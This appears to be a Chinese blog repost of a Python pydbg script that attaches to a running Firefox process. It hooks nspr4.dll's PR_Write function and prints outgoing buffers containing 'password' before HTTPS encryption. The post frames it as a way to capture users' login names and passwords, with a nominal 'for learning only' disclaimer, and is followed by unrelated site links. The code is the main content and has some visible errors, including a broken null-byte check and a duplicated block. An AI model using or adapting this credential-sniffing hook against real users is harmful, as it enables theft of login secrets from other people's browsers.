python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
python 实现文件的递归拷贝实现代码
Aug 02 Python
python解析html开发库pyquery使用方法
Feb 07 Python
Flask入门教程实例:搭建一个静态博客
Mar 27 Python
python获取当前运行函数名称的方法实例代码
Apr 06 Python
Sanic框架流式传输操作示例
Jul 18 Python
pygame游戏之旅 按钮上添加文字的方法
Nov 21 Python
python通过txt文件批量安装依赖包的实现步骤
Aug 13 Python
Python猴子补丁知识点总结
Jan 05 Python
keras.layer.input()用法说明
Jun 16 Python
在Keras中CNN联合LSTM进行分类实例
Jun 29 Python
Django中F函数的使用示例代码详解
Jul 06 Python
Python制作一个随机抽奖小工具的实现
Jul 07 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
谏山创故乡大分县日田市水坝将设立《进击的巨人》立艾伦、三笠以及阿尔敏的铜像!
2020/03/06 日漫
关于php内存不够用的快速解决方法
2013/10/26 PHP
为百度UE编辑器上传图片添加水印功能
2015/04/16 PHP
PHP curl使用实例
2015/07/02 PHP
PHP中each与list用法分析
2016/01/08 PHP
Thinkphp结合AJAX长轮询实现PC与APP推送详解
2017/07/31 PHP
laravel5.4利用163邮箱发送邮件的步骤详解
2017/09/22 PHP
jquery div 居中技巧应用介绍
2012/11/24 Javascript
在子窗口中关闭父窗口的一句代码
2013/10/21 Javascript
JS动态调用方法名示例介绍
2013/12/18 Javascript
jquery复选框checkbox实现删除前判断
2014/04/20 Javascript
JS+CSS实现Li列表隔行换色效果的方法
2015/02/16 Javascript
jQuery拖拽插件gridster使用指南
2015/04/21 Javascript
javascript中返回顶部按钮的实现
2015/05/05 Javascript
javascript返回顶部的按钮实现方法
2016/01/09 Javascript
jQuery简单实现title提示效果示例
2016/08/01 Javascript
轻松学习Javascript闭包
2017/03/01 Javascript
vue自定义tap指令及tap事件的实现
2018/09/18 Javascript
微信小程序动态评分展示/五角星展示/半颗星展示/自定义长度展示功能的实现
2020/07/22 Javascript
vue动态设置页面title的方法实例
2020/08/23 Javascript
Python中使用strip()方法删除字符串中空格的教程
2015/05/20 Python
使用Python判断质数(素数)的简单方法讲解
2016/05/05 Python
使用python为mysql实现restful接口
2018/01/05 Python
python中redis查看剩余过期时间及用正则通配符批量删除key的方法
2018/07/30 Python
html5 canvas 简单画板实现代码
2012/01/05 HTML / CSS
使用HTML5 Canvas绘制圆角矩形及相关的一些应用举例
2016/03/22 HTML / CSS
流行文化收藏品:Sideshow(DC漫画,星球大战,漫威)
2019/03/17 全球购物
Gibson London官网:以地道的英国男装而著称
2019/12/06 全球购物
应届生学校辅导员求职信
2013/11/07 职场文书
电子商务专业推荐信范文
2013/12/02 职场文书
护士实习鉴定范文
2013/12/22 职场文书
小学语文教学反思
2014/02/10 职场文书
股东合作协议书
2014/09/12 职场文书
接待员岗位职责范本
2015/04/15 职场文书
公司年会主持词范文!
2019/05/07 职场文书
Python实现猜拳与猜数字游戏的方法详解
2022/04/06 Python